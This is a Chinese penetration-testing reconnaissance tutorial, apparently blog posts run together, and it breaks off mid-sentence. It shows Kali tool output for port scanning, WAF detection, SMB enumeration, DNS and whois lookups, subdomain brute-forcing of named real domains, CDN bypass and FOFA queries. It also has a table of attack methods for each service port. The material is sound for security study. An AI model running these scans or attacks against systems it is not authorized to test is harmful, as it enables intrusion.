实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口 端口的扫描,nc可以作为client发起TCP或UDP连接 机器之间传输文件 机器之间网络测速 参数123456789101112131415161718# -n 直接使用IP地址,而不通过域名服务器# -v 显示指令执行过程# -w 表示超时时间# -z 表示使用输入/输出模式,只在扫描通信端口时使用┌──(root㉿kali)-[/home]└─# nc -nv -w 1 -z 154.40.42.101 80-90 (UNKNOWN) [154.40.42.101] 90 (?) : No route to host(UNKNOWN) [154.40.42.101] 89 (?) : Connection timed out(UNKNOWN) [154.40.42.101] 88 (kerberos) : No route to host(UNKNOWN) [154.40.42.101] 87 (?) : No route to host(UNKNOWN) [154.40.42.101] 86 (?) : Connection timed out(UNKNOWN) [154.40.42.101] 85 (?) : No route to host(UNKNOWN) [154.40.42.101] 84 (?) : Connection timed out(UNKNOWN) [154.40.42.101] 83 (?) : No route to host(UNKNOWN) [154.40.42.101] 82 (?) : Connection timed out(UNKNOWN) [154.40.42.101] 81 (?) : No route to host(UNKNOWN) [154.40.42.101] 80 (http) open wafw00f Web应用防护系统(也称为:网站应用级入侵防御系统)。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。 在KaliLinux中提供了一款防火墙探测工具“wafw00f”,这个工具可以通过发送正常以及不正常甚至是包含恶意代码的HTTP请求,来探测网站是否存在防火墙,并识别该防火墙的厂商及类型。 wafw00f常用指令12345678910111213141516171819202122232425┌──(root㉿kali)-[/opt/TOP10]└─# wafw00f -hUsage: wafw00f url1 [url2 [url3 ... ]]example: wafw00f http://www.victim.org/用法:wafw00f url1 [url2 [url3 ... ]]示例:wafw00f http://www.victim.org/选项:-h, --help 显示帮助信息并退出-v, --verbose 启用详细模式,多个-v选项增加详细程度-a, --findall 查找与签名匹配的所有WAF,不在第一个匹配上停止测试-r, --noredirect 不跟随3xx响应的重定向-t TEST, --test=TEST 测试特定的WAF-o OUTPUT, --output=OUTPUT将输出写入csv、json或文本文件中,具体格式取决于文件扩展名。对于标准输出,请指定-作为文件名。-f FORMAT, --format=FORMAT强制输出格式为csv、json或文本。-i INPUT, --input-file=INPUT从文件中读取目标。输入格式可以是csv、json或文本。对于csv和json,需要一个“url”列名或元素。-l, --list 列出WAFW00F能够检测到的所有WAF-p PROXY, --proxy=PROXY使用HTTP代理执行请求,例如:http://hostname:8080,socks5://hostname:1080,http://user:pass@hostname:8080-V, --version 打印当前版本的WafW00f并退出。-H HEADERS, --headers=HEADERS 通过文本文件传递自定义标头,以覆盖默认的标头设置。 测试单个 URL123456789101112131415161718192021┌──(root㉿kali)-[/opt/TOP10]└─# wafw00f https://icp.chinaz.com/ ______ / \\ ( Woof! ) \\ ____/ ) ,, ) (_ .-. - _______ ( |__| ()``; |==|_______) .)|__| / (' /|\\ ( |__| ( / ) / | \\ . |__| \\(_)_)) / | \\ |__| ~ WAFW00F : v2.2.0 ~ The Web Application Firewall Fingerprinting Toolkit [*] Checking https://icp.chinaz.com/[+] Generic Detection results:[-] No WAF detected by the generic detection[~] Number of requests: 7 常见的waf拦截页面(83个国内外WAF)https://github.com/stamparm/identYwaf/tree/master/screenshotshttps://github.com/stamparm/identYwaf/tree/master/screenshots enum4linuxenum4linux介绍 Enum4linux是一个用于枚举来自Windows和Samba系统的信息的工具。 它是用Perl编写的,基本上是一个包装Samba工具smbclient,rpclient,net和nmblookup。 工具的用法可以在下面找到例子,以前版本的工具可以在页面底部找到。 dnstracer用于获取给定主机名从给定域名服务器(DNS)的信息,并跟随DNS服务器链得到权威结果。 主要特性: RID循环(当Windows 2000上的RestrictAnonymous设置为1时) 用户列表(当Windows 2000上的RestrictAnonymous设置为0时) 组成员信息列表 共享枚举 检测主机是否在工作组或域中 识别远程操作系统 密码策略检索(使用polenum) enum4linux功能123456789101112131415161718192021222324252627282930313233343536┌──(root㉿kali)-[/opt/TOP10]└─# enum4linux -h enum4linux v0.9.1 (http://labs.portcullis.co.uk/application/enum4linux/)Copyright (C) 2011 Mark Lowe (mrl@portcullis-security.com)简单的封装了在samba包中的工具,以提供类似的enum.exe功能(以前从www.bindview.com)。 为了方便起见,还增加了一些附加功能,例如RID循环。用法: ./enum4linux.pl [选项] ip地址枚举选项: -U 获取用户列表 -M 获取机器列表* -S 获取共享列表 -P 获取密码策略信息 -G 获取组和成员列表 -d 详述适用于-U和-S -u user 用户指定要使用的用户名(默认"") -p pass 指定要使用的密码(默认为"")以下选项是enum.exe未实现的: -L, -N, -D, -f其他选项: -a 做所有简单枚举(-U -S -G -P -r -o -n -i),如果您没有提供任何其他选项,则启用此选项 -h 显示此帮助消息并退出 -r 通过RID循环枚举用户 -R range RID范围要枚举(默认值:500-550,1000-1050,隐含-r) -K n 继续搜索RID,直到n个连续的RID与用户名不对应,Impies RID范围结束于999999.对DC有用 -l 通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DN) -s 文件暴力猜测共享名称 -k user 远程系统上存在的用户(默认值:administrator,guest,krbtgt,domain admins,root,bin,none) 用于获取sid与“lookupsid known_username” 使用逗号尝试几个用户:“-k admin,user1,user2” -o 获取操作系统信息 -i 获取打印机信息 -w wrkg 手动指定工作组(通常自动找到) -n 做一个nmblookup(类似于nbtstat) -v 详细输出,显示正在运行的完整命令(net,rpcclient等)RID循环应从Windows(或Samba)主机中提取一个用户列表,其中限制匿名设置为1(Windows NT和2000)或启用“网络访问:允许匿名SID /名称转换”(XP,2003)。注意:Samba服务器通常似乎有RID在范围3000-3050。依赖性信息:您将需要安装samba包,因为此脚本基本上只是一个包装rpcclient,net,nmblookup和smbclient。 Polenum从http://labs.portcullis.co.uk/application/polenum/需要获取密码政策信息。 enum4linux用法示例123456789101112131415161718192021222324252627282930313233┌──(root㉿kali)-[/home/]└─$ enum4linux -A 10.10.10.9Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Aug 4 20:29:56 2023 =========================================( Target Information )=========================================Target ........... 10.10.10.9RID Range ........ 500-550,1000-1050Username ......... ''Password ......... ''Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none =============================( Enumerating Workgroup/Domain on 10.10.10.9 )=============================[+] Got domain/workgroup name: MYGROUP ====================================( Session Check on 10.10.10.9 )====================================[+] Server 10.10.10.9 allows sessions using username '', password '' =================================( Getting domain SID for 10.10.10.9 )=================================Domain Name: MYGROUPDomain Sid: (NULL SID)[+] Can't determine if host is part of domain or part of a workgroupenum4linux complete on Fri Aug 4 20:29:56 2023 CTF-Show WPhttps://www.cnblogs.com/sakura--tears/p/17148300.htmlhttps://www.cnblogs.com/sakura--tears/p/17148300.html","tags":["信息安全","信息收集","渗透测试"]},{"title":"Security-被动信息收集","path":"/2024/02/14/dbeaca23/","content":"总字符数: 28.13K 代码: 9.18K, 文本: 6.69K 预计阅读时间: 1.15 小时 信息收集 渗透的本质是信息收集,信息收集又称资产收集信息收集是渗透测试的前期主要工作,是非常重要的环节,收集足够多的信息才能方便接下来的测试,信息收集主要是收集网站的域名信息、子域名信息、目标网站信息、目标网站真实IP、敏感/目录文件、开放端口和中间件信息等等。通过各种渠道和手段尽可能收集到多的关于这个站点的信息,有助于我们更多的去找到渗透点,突破口 信息收集的分类 主动信息收集:通过直接访问、扫描网站,这种流量将流经网站 被动信息收集:利用第三方的服务对目标进行访问了解,如BURP,Google搜索、shodan搜索等 为什么要信息收集?在Web渗透测试中,信息收集是非常重要的一步,它有以下几个关键作用: 了解目标网站或应用程序:通过信息收集,可以获取目标网站或应用程序的基本信息,包括域名、IP地址、服务器类型、备案情况等。这有助于渗透测试人员对目标进行评估和定位,选择适合的攻击路径和策略。 发现系统漏洞和弱点:通过信息收集,可以获取目标网站或应用程序的架构、技术框架、插件组件等,从而了解潜在的漏洞和弱点。例如,在JS文件中可能包含硬编码的敏感信息、API密钥、数据库连接字符串等。了解这些信息可以帮助渗透测试人员找到攻击的切入点。 寻找攻击面和路径:信息收集可以帮助渗透测试人员确定目标系统的攻击面和可能存在的漏洞位置。通过分析目标的网络拓扑、子域名、目录结构、文件权限等,可以确定攻击的方向和路径。例如,通过收集子域名,可以发现其他可能存在漏洞的系统。 风险评估和决策支持:通过信息收集,可以全面了解目标系统的安全状况,并对潜在的风险进行评估。这有助于渗透测试人员制定合理的攻击策略,选择适当的工具和技术,减少不必要的尝试和风险。 在信息收集过程中,可以收集的内容包括但不限于: 域名、IP地址和服务器信息 子域名和相关网站 目标系统的架构、技术框架和组件 目录结构和文件权限 开放端口和服务 系统版本和补丁情况 社交媒体和联系人信息 为了高效地进行信息收集,可以借助一些工具和技术,例如: Whois查询工具:用于查找域名的注册信息和服务器IP地址。 子域名扫描工具:用于自动发现目标网站的子域名。 网络映射工具:用于绘制目标系统的网络拓扑结构。 爬虫工具:用于获取网站的页面、链接和内容。 漏洞扫描器:用于自动发现目标系统的漏洞和弱点。 将信息整合起来,可以帮助渗透测试人员更好地了解目标,制定攻击策略,并在后续的渗透测试过程中根据具体情况进行进一步的信息收集和攻击。 被动信息收集 利用第三方服务对目标进行被动信息收集防止被发现 被动信息收集的目的:通过公开渠道,去获得目标主机的信息,从而不与目标系统直接交互,避免留下痕迹 信息收集内容信息收集的内容取决于渗透测试人员的目标和方法,一般来说,信息收集应包括以下内容: IP地址和域名:确定目标系统的IP地址和域名是信息收集的首要任务。这可以通过DNS解析、Whois查 询、Ping命令等方式进行。 开放端口:了解目标系统上开放的端口和运行的服务是信息收集的重要内容。这可以通过端口扫描工具(如Nmap)进行。 操作系统和应用程序:了解目标系统的操作系统和运行的应用程序是非常重要的,这可以帮助渗透测试人员确定针对目标系统的攻击方法和工具。这可以通过服务识别、Banner Grabbing等方式进行。 漏洞和弱点:寻找目标系统的漏洞和弱点是渗透测试的重点之一,这可以通过漏洞扫描、Web应用程序扫描等方式进行。 目录和文件:寻找目标系统中存在的目录和文件可以帮助渗透测试人员发现系统中可能存在的敏感信息或漏洞。这可以通过目录扫描、文件爆破等方式进行。 社会工程学信息:寻找目标系统相关人员的姓名、职位、联系方式等信息可以帮助渗透测试人员进行社会工程学攻击。这可以通过搜索引擎、社交媒体等方式进行。 网络拓扑:了解目标系统的网络拓扑可以帮助渗透测试人员了解目标系统的结构和环境。这可以通过网络拓扑图、路由表等方式进行。 需要注意的是,在进行信息收集时,渗透测试人员需要确保遵守所有法律和道德规范,不得进行非法或者侵犯隐私的行为。 信息用途信息收集的主要用途是为了帮助渗透测试人员更好地了解目标系统的结构、环境、弱点和潜在风险,从而为 攻击目标制定更加有效的策略和方案。 具体来说,收集到的信息可以用于以下方面: 确定目标系统的弱点和漏洞,从而寻找攻击目标的最佳路径和方式。 了解目标系统的环境和结构,为攻击目标选择最合适的工具和技术。 发现目标系统中可能存在的敏感信息或数据,为后续攻击做好准备。 为渗透测试人员进行社交工程学攻击提供信息基础。 总之,信息收集是渗透测试中不可或缺的环节,收集到的信息将为渗透测试人员提供关键的支持和帮助,有助于攻击目标的成功实施。同时,在收集信息的过程中,渗透测试人员需要注意保护隐私和遵守法律规定, 避免侵犯他人权益。 DNS信息收集ping可以快速的将域名解析为IP地址 123456789101112ping www.baidu.comPinging www.baidu.com [180.101.50.188] with 32 bytes of data:Reply from 180.101.50.188: bytes=32 time=34ms TTL=51Reply from 180.101.50.188: bytes=32 time=34ms TTL=51Reply from 180.101.50.188: bytes=32 time=34ms TTL=51Reply from 180.101.50.188: bytes=32 time=34ms TTL=51Ping statistics for 180.101.50.188: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),Approximate round trip times in milli-seconds: Minimum = 34ms, Maximum = 34ms, Average = 34ms 使用nslookup查看域名12345678910nslookup 12306.cnServer: K2.lan # DNS服务器Address: 192.168.2.1 # DNS服务器地址Non-authoritative answer: # 非权威性回答Name: 12306.cn.wsglb0.com # 12306.cn域名的别名Address: 1.71.150.167 # 12306.cn解析出来的IPAliases: 12306.cn 12345678910nslookup www.baidu.comServer: K2.lanAddress: 192.168.2.1Non-authoritative answer:Name: www.baidu.comAddresses: 180.101.50.242 180.101.50.188 DNS信息收集-DIG1234567891011121314151617181920212223242526272829303132# kali下的命令语法:dig [选项] 需要查询的域名@ <DNS服务地址>:指定进行域名解析的域名服务器any #显示所有类型的域名记录。默认只显示A记录# 示例:# dig 12306.cn# dig @8.8.8.8 12306.cn# dig @114.114.114.114 12306.cn any└─# dig 12306.cn ; <<>> DiG 9.18.1-1-Debian <<>> 12306.cn;; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1643;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1;; OPT PSEUDOSECTION:; EDNS: version: 0, flags:; udp: 4096;; QUESTION SECTION:;12306.cn. IN A;; ANSWER SECTION:12306.cn. 7 IN A 1.71.150.167 # 主要看的地方;; Query time: 4 msec;; SERVER: 192.168.2.1#53(192.168.2.1) (UDP);; WHEN: Wed Apr 05 10:08:11 CST 2023;; MSG SIZE rcvd: 53 使用-X参数IP反查域名 1234567891011121314151617181920212223242526272829└─# dig -x 114.114.114.114; <<>> DiG 9.18.1-1-Debian <<>> -x 114.114.114.114;; global options: +cmd;; Got answer:;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16186;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 4;; QUESTION SECTION:;114.114.114.114.in-addr.arpa. IN PTR;; ANSWER SECTION:114.114.114.114.in-addr.arpa. 300 IN PTR public1.114dns.com. # 看这个;; AUTHORITY SECTION:114.114.114.in-addr.arpa. 41222 IN NS ns100.114dns.com.114.114.114.in-addr.arpa. 41222 IN NS ns100.114dns.net.;; ADDITIONAL SECTION:ns100.114dns.com. 311 IN A 114.114.118.118ns100.114dns.com. 311 IN A 60.215.138.254ns100.114dns.net. 316 IN A 114.114.116.116ns100.114dns.net. 316 IN A 58.217.249.158;; Query time: 4 msec;; SERVER: 192.168.2.1#53(192.168.2.1) (UDP);; WHEN: Wed Apr 05 10:11:01 CST 2023;; MSG SIZE rcvd: 192 whois查询域名注册信息的两种查询方式: Web接口查询 Whois命令查询 通过whois来对域名信息进行查询,可以查到注册商、注册人、邮箱、DNS解析服务器、注册人联系电话等,因为有些网站信息查得到,有些网站信息查不到,所以推荐以下信息比较全的查询网站,直接输入目标站点即可查询到相关信息。 通过Web接口查询https://whois.aliyun.com/https://whois.aliyun.com/ https://whois.cloud.tencent.com/https://whois.cloud.tencent.com/ http://whois.chinaz.com/http://whois.chinaz.com/ https://whois.aizhan.com/https://whois.aizhan.com/ https://whois.cloud.tencent.com/https://whois.cloud.tencent.com/ https://whois.cndns.com/https://whois.cndns.com/ 使用whois查询12345678910111213141516# kali系统└─# whois 12306.cn Domain Name: 12306.cnROID: 20030310s10001s00012731-cnDomain Status: okRegistrant: 中国铁道科学研究院集团有限公司Registrant Contact Email: 13501238352@139.comSponsoring Registrar: 北京中科三方网络技术有限公司Name Server: cns1.zdnscloud.netName Server: dns1.zdnscloud.infoName Server: ins1.zdnscloud.comName Server: vns1.zdnscloud.bizRegistration Time: 2003-03-10 18:50:16Expiration Time: 2029-01-13 14:16:31DNSSEC: unsigned 备案信息查询 网站备案信息是根据国家法律法规规定,由网站所有者向国家有关部门申请的备案,如果需要查询企业备案信息(单位名称、备案编号、网站负责人、电子邮箱、联系电话、法人等) Web接口查询: http://icp.chinaz.com/http://icp.chinaz.com/ https://www.tianyancha.com/https://www.tianyancha.com/ https://icp.aizhan.com/https://icp.aizhan.com/ http://cha.fute.com/indexhttp://cha.fute.com/index https://www.beian88.com/https://www.beian88.com/ http://beian.miit.gov.cn/publish/query/indexFirst.actionhttp://beian.miit.gov.cn/publish/query/indexFirst.action 收集子域名 子域名介绍: 顶级域名是域名的最后一个部分,即是域名最后一点之后的字母,例如在http://example.com 这个域名中,顶级域是.com(或.COM),大小写视为相同。 常见的顶级域主要分2类: 通用顶级类别域名常见的有:用于工商金融企业的.com;用于教育机构的.edu;用于政府部门的.gov; 用于互联网络信息中心和运行中心的.net;用于非盈利组织的.org 国家及地区顶级域,如.cn代表中国,.uk代表英国等,地理顶级域名一般由各个国家或地区负责管理。.jp代表什么? 子域名(Subdomain Name)凡顶级域名前加前缀的都是该顶级域名的子域名,而子域名根据技术的多少分为二级子域名,三级子域名以及多级子域名。 挖掘子域名的重要性 子域名中的常见资产类型一般包括办公系统,邮箱系统,论坛,商城,其他管理系统,网站管理后台也有可能出现子域名中。首先找到目标站点,在官网中可能会找到相关资产(多为办公系统,邮箱系统等),关注一下页面底部,也许有管理后台等收获。 子域名是某个主域的二级域名或者多级域名,在防御措施严密情况下无法直接拿下主域,那么就可以采用迂回战术拿下子域名,然后无限靠近主域。 例如:www.xxxxx.com主域不存在漏洞,并且防护措施严密。而二级域名edu.xxxxx.com存在漏洞,并且防护措施松散。 查询子域名 搜索引擎挖掘 如: 百度 intitle=公司名称 Google intitle=公司名称 第三方网站查询: 站长之家,直接搜索名称或者网站域名即可查看相关信息:http://tool.chinaz.com/ FOFA title=”公司名称” 钟馗之眼 site=域名即可https://www.zoomeye.org/ https://hackertarget.com/find-dns-host-records/ Dns探测https://dnsdumpster.com/ Layer子域名挖掘机 subDomainsBrute Sublist3r OneForAll 1234567git clone https://gitee.com/shmilylty/OneForAll.gitcd OneForAll/python3 -m pip install -U pip setuptools wheel -i https://mirrors.aliyun.com/pypi/simple/python3 -m pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/python3 -m pip install --upgrade exrexpython3 oneforall.py --helppython3 oneforall.py --target didichuxing.com run esd 1234┌──(root㉿kali)-[/home/kali/subdomain/OneForAll]└─# pip install esd -i https://mirrors.aliyun.com/pypi/simple/┌──(root㉿kali)-[/home/kali/subdomain/OneForAll]└─# esd -d didichuxing.com dnsub 123456789101112131415161718192021┌──(root㉿kali)-[/home/kali/subdomain/dnsub_linux_amd64_v2.0]└─# wget https://github.com/yunxu1/dnsub/releases/download/v2.1/dnsub_linux_386_v2.1.zip┌──(root㉿kali)-[/home/kali/subdomain/dnsub_linux_amd64_v2.0]└─# unzip dnsub_linux_386_v2.1.zip┌──(root㉿kali)-[/home/kali/subdomain/dnsub_linux_amd64_v2.0]└─# cd dnsub_linux_amd64_v2.0┌──(root㉿kali)-[/home/kali/subdomain/dnsub_linux_amd64_v2.0]└─# ./dnsub_linux_amd64 -d didichuxing.com[*] CertSpotter ......... [√][*] NetCraft ......... [√][*] brute ......... [√][*] Censys ......... [×][*] Crtsh ......... [√][*] Baidu ......... [√][*] IP138 ......... [√][*] Fofa ......... [×][*] ZoomEye ......... [×][*] start didichuxing.com subDomainsBrute 12345678910111213141516171819202122232425262728293031323334353637383940┌──(root㉿kali)-[/home/kali/subdomain/subDomainsBrute-1.4]└─# python3 -m pip install dnspython==2.2.1 async_timeout -i https://mirrors.aliyun.com/pypi/simple/┌──(root㉿kali)-[/home/kali/subdomain/subDomainsBrute-1.4]└─# wget https://github.com/lijiejie/subDomainsBrute/archive/refs/tags/v1.4.zip┌──(root㉿kali)-[/home/kali/subdomain/subDomainsBrute-1.4]└─# unzip v1.4.zip┌──(root㉿kali)-[/home/kali/subdomain/subDomainsBrute-1.4]└─# cd subDomainsBrute-1.4 ┌──(root㉿kali)-[/home/kali/subdomain/subDomainsBrute-1.4]└─# python3 subDomainsBrute.py用法:subDomainsBrute.py [选项] target.com选项:--version 显示程序版本号并退出-h, --help 显示帮助信息并退出-f FILE 包含以换行符分隔的子域名的文件,默认为 subnames.txt。--full 完整扫描,将使用 NAMES FILE subnames_full.txt 进行强制破解-i, --ignore-intranet 忽略指向私有 IP 的域名-w, --wildcard 在通配符测试失败后强制进行扫描-t THREADS, --threads=THREADS扫描线程数量,默认为 500-p PROCESS, --process=PROCESS扫描进程数量,默认为 6--no-https 禁用从 HTTPS 证书获取域名,这可以节省一些时间-o OUTPUT, --output=OUTPUT输出文件名,默认为 {target}.txt┌──(root㉿kali)-[/home/kali/subdomain/subDomainsBrute-1.4]└─# python3 subDomainsBrute.py didichuxing.comSubDomainsBrute v1.4 https://github.com/lijiejie/subDomainsBrute[+] Validate DNS servers [+] Server 119.29.29.29 < OK > Found 4 [+] 4 DNS Servers found [+] Run wildcard testany-sub.didichuxing.com 123.207.209.133, 123.207.209.134, 123.207.209.17Use -w to enable force scan wildcard domain 查找真实IP(绕过CDN) 如果目标网站使用了CDN(内容分发网络),使用了cdn真实的ip会被隐藏,如果要查找真实的服务器就必须获取真实的ip,根据这个ip继续查询旁站。注意:很多时候,主站虽然是用了CDN,但子域名可能没有使用CDN,如果主站和子域名在一个ip段中,那么找到子域名的真实ip也是一种途径。 多地Ping http://ping.chinaz.com/ http://ping.aizhan.com/ 查询历史DNS解析记录 https://dnsdumpster.com/ https://dnsdb.io/zh-cn/ https://x.threatbook.cn/ https://tools.ipip.net/cdn.php https://viewdns.info/ https://github.com/bin-maker/BYPASS-CDN/https://github.com/bin-maker/BYPASS-CDN/ 旁站和C段 旁站往往存在业务功能站点,建议先收集已有IP的旁站,再探测C段,确认C段目标后,再在C段的基础上再收集一次旁站。旁站是和已知目标站点在同一服务器但不同端口的站点,通过以下方法搜索到旁站后,先访问一下确定是不是自己需要的站点信息。 http://www.webscan.cc/http://www.webscan.cc/ http://stool.chinaz.com/samehttp://stool.chinaz.com/same https://c.webscan.cchttps://c.webscan.cc https://chapangzhan.com/https://chapangzhan.com/ 网站头信息收集 中间件 : Web服务【Web Servers】 apache iis7 iis7.5 iis8 nginx WebLogic tomcat 网站组件: js组件jquery、vue 页面的布局bootstrap通过浏览器获取 Google And firefox 插件: Wappalyzer wooyun漏洞库 https://wooyun.website 网站注册信息 http://www.reg007.com/ 指纹识别 EHole12345678┌──(root㉿kali)-[/home/kali]└─# wget https://github.com/EdgeSecurityTeam/EHole/releases/download/v3.1/EHole_linux_amd64.zip┌──(root㉿kali)-[/home/kali]└─# unzip EHole_linux_amd64.zip ┌──(root㉿kali)-[/home/kali/EHole_linux_amd64]└─# chmod +x EHole_linux_amd64┌──(root㉿kali)-[/home/kali/EHole_linux_amd64]└─# ./EHole_linux_amd64 finger -l ip.txt cms识别 Google And firefox 插件: Wappalyzer Kali:cmseek 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253┌──(root㉿kali)-[/home/kali/]└─# cmseek -u https://www.xxx.com/ ___ _ _ ____ ____ ____ _ _| |\\/| [__ |___ |___ |_/ by @r3dhax0r|___ | | ___| |___ |___ | \\_ Version 1.1.3 K-RONA [+] Deep Scan Results [+] ┏━Target: www.xxx.com ┃ ┠── CMS: WordPress ┃ │ ┃ ├── Version: 5.6 ┃ ╰── URL: https://wordpress.org ┃ ┠──[WordPress Deepscan] ┃ │ ┃ ├── Readme file found: https://www.xxx.com//readme.html ┃ ├── License file: https://www.xxx.com//license.txt ┃ ├── User registration enabled: https://www.xxx.com//wp-login.php?action=register ┃ │ ┃ ├── Plugins Enumerated: 5 ┃ │ │ ┃ │ ├── Plugin: page-links-to ┃ │ │ │ ┃ │ │ ├── Version: 3.3.4 ┃ │ │ ╰── URL: https://www.xxx.com//wp-content/plugins/page-links-to ┃ │ │ ┃ │ ├── Plugin: wp-pagenavi ┃ │ │ │ ┃ │ │ ├── Version: 2.70 ┃ │ │ ╰── URL: https://www.xxx.com//wp-content/plugins/wp-pagenavi ┃ │ │ ┃ │ ├── Plugin: download-manager ┃ │ │ │ ┃ │ │ ├── Version: 5.6 ┃ │ │ ╰── URL: https://www.xxx.com//wp-content/plugins/download-manager ┃ │ │ ┃ │ ├── Plugin: buddypress ┃ │ │ │ ┃ │ │ ├── Version: 6.3.0 ┃ │ │ ╰── URL: https://www.xxx.com//wp-content/plugins/buddypress ┃ │ │ ┃ │ ╰── Plugin: mailchimp-for-wp ┃ │ │ ┃ │ ├── Version: 4.8.1 ┃ │ ╰── URL: https://www.xxx.com//wp-content/plugins/mailchimp-for-wp ┃ │ ┃ ┠── Result: /usr/share/cmseek/Result/www.xxx.com/cms.json ┃ ┗━Scan Completed in 29.8 Seconds, using 44 Requests 云悉 http://www.yunsee.cn/ 潮汐指纹 http://finger.tidesec.net/ 御剑cms识别 https://github.com/ldbfpiaoran/cmscan SSL/TLS证书查询 SSL/TLS证书通常包含域名、子域名和邮件地址等信息,结合证书中的信息,可以更快速地定位到目标资产,获取到更多目标资产的相关信息. https://myssl.com/ https://crt.sh SSL证书搜索引擎 https://crt.sh/?Identity=%.moonsec.com https://censys.io/ 查找厂商ip段http://ipwhois.cnnic.net.cn/index.jsphttp://ipwhois.cnnic.net.cn/index.jsp 常见端口常见端口端口服务漏洞21/69ftp/tftp:文件传输协议1. 爆破2. 嗅探溢出3. 后门4. 匿名访问22SSH爆破、OpenSSH漏洞23telnet:远程连接爆破、嗅探25SMTP邮件服务弱口令、未授权访问、邮件伪造53DNS:域名系统1. DNS区域传输2. 劫持3. 缓存投毒4. 隧道技术穿透防火墙80/443/8080Web1. 常见Web攻击2. 控制台爆破3. 对应服务器版本漏洞80/8080Apache/Tomcat/Nginx/Axis21. 爆破:弱口令(爆破Tomcat manager后台)2. HTTP慢速攻击:可以把服务器打死,对一些大型的网站有影响3. 解析漏洞80/81/443IIS1. PUT写文件:利用IIS漏洞,PUT方法直接将文件放置到服务器上2. 短文件名泄露:这种一般没啥影响3. 解析漏洞:详细见Apache服务110POP3弱口令123NTPntp放大攻击137/139samba1. 爆破:弱口令2. 未授权访问:给予Public用户高权限3. 远程代码执行漏洞:CVE-2015-0240等等143imap弱口令161snmp爆破public弱口令389ldap1. 注入攻击:盲注2. 未授权访问3. 爆破:弱口令443Https心脏滴血445SMB溢出漏洞ms17-010873rsync未授权访问1080socket爆破:进行内网渗透1098JavaRmi命令执行1352Lotus1. 爆破:弱口令控制台(admin password)2. 信息泄露:源代码3. 跨站脚本攻击1433MsSQL1. 爆破:使用系统用户登录2. 注入攻击1521Oracle弱口令2049NFS未授权访问2181Zookeeper未授权访问2222DADA虚拟主机2601Zebra默认密码3128squid空口令3306Mysql1. 爆破2. 拒绝服务3. 注入3389Windows远程连接(RDP)1.爆破:3389端口爆破工具2. Shift粘滞键后门3. 3389漏洞攻击4100SysBase弱口令4440rundeck弱口令4848glassfish1. 爆破:控制台弱口令2. 认证绕过5000sybase/DB21. 弱口令2. 命令注入5422/5432postgreSQL1. 缓冲区溢出2. 注入攻击3. 爆破:弱口令5900VNC默认端口:5900+桌面ID(5901;5902)攻击方式:1. 爆破:弱口令2. 认证口令绕过3. 拒绝服务攻击(CVE-2015-5239)4. 权限提升(CVE-2013-6886)5984CouchDB命令执行6082varnish未授权访问6379redis1. 弱口令2. 未授权访问7001WebLogic1. 爆破:弱口令 用户名密码一致2. Congsole后台部署Webshell3. Java反序列化4. SSRF嗅探内网5. 命令执行8000jdwp命令执行8069zabbix命令执行8080Apache/Tomcat/Ngin/Axis2/Jboss中间件1. 弱口令2. 命令执行8080Jboss默认端口8080其他端口:1098/1099/444/4445/8080/8009/8083/8093攻击方式:1. 爆破:弱口令(爆破Jboss系统后台)2. 远程代码执行3. Java反序列化8080GlassFish默认端口:http 8080IIOP:3700控制台4848攻击方式:1. 爆破:弱口令(对于控制台)2. 任意文件读取3. 认证绕过8080Resin攻击方式:1. 目录遍历2. 远程文件读取8080/8089Jenkins默认端口:8080、8089攻击方式:1. 爆破:弱口令(默认管理员)2. 未授权访问3. 反序列化漏洞8080Jetty默认端口:8080攻击方式:1. 远程共享缓冲区溢出8161activeMQ文件上传8649ganglia1. 未授权访问2. 信息泄露8980OpenNMS反序列化漏洞9080/9090WebSphere1. 弱口令2. 反序列化3. 文件泄露4. 控制台爆破9200/9300ElasticSearch1. 远程代码执行2. 未授权访问11211MemCache未授权访问27017/27018MongoDB1. 爆破2. 未授权访问50000SAP命令执行50010/50030/50070Hadoop1.未授权访问 2. 信息泄露3. 命令执行 fofa、zoomeye、quake、sumap、hunter、shodan 介绍: 他们是一款非常强大的搜索引擎,网络空间资产检索系统是世界上数据覆盖更完整的IT设备搜索引擎,拥有全球联网IT设备更全的DNA信息。探索全球互联网的资产信息,进行资产及漏洞影响范围分析、应用分布统计、应用流行度态势感知等。 https://fofa.info/https://fofa.info/ https://www.zoomeye.org/https://www.zoomeye.org/ https://quake.360.net/quake/#/indexhttps://quake.360.net/quake/#/index https://sumap.dbappsecurity.com.cn/https://sumap.dbappsecurity.com.cn/ https://hunter.qianxin.com/https://hunter.qianxin.com/ https://www.shodan.io/https://www.shodan.io/ 公共字段首先是大家都共有的字段搜索 字段名称 字段说明 title 网站标题 body 正文,或者说响应体 cert 证书内容 ip ip或ip段 port 端口 protocol 协议 server http headers里面的Server字段 base_protocol 传输层协议 os 系统 asn 自治域号码 status_code web状态码 icon_hash 图标hash region 地区 app 应用指纹 FOFA基础语法 逻辑连接符 具体含义 = 匹配,=””时,可查询不存在字段或者值为空的情况 == 完全匹配,==””时,可查询存在且值为空的情况 && 与 != 不匹配,!=””时,可查询值为空的情况 ~= 正则语法匹配专用(高级会员独有,不支持body) () 确认查询优先级,括号内容优先级最高 title网站标题 title="beijing" 从标题中搜索“北京” body页面内容 body可以通过页面中包含的特定字符串来搜索资产.body="网络空间测绘" 从html正文中搜索”网络空间测绘” domain域名 domain="qq.com"搜索根域名带有qq.com的网站 实战-FOFA根据地区搜索 country="CN"搜索指定国家(编码)的资产 region="Xinjiang"搜索指定行政区的资产 city="bejing"搜索指定城市的资产 排除地区方法使用 != 例如在通过domain搜索资产的时候会有香港的服务器,那如何排除香港的服务器?domain="12306.cn" && region!="HK" 通过语法组合进行筛选,&&表示左右2个条件都需要满足,左边条件为包含12306.cn域名的资产,右边条件 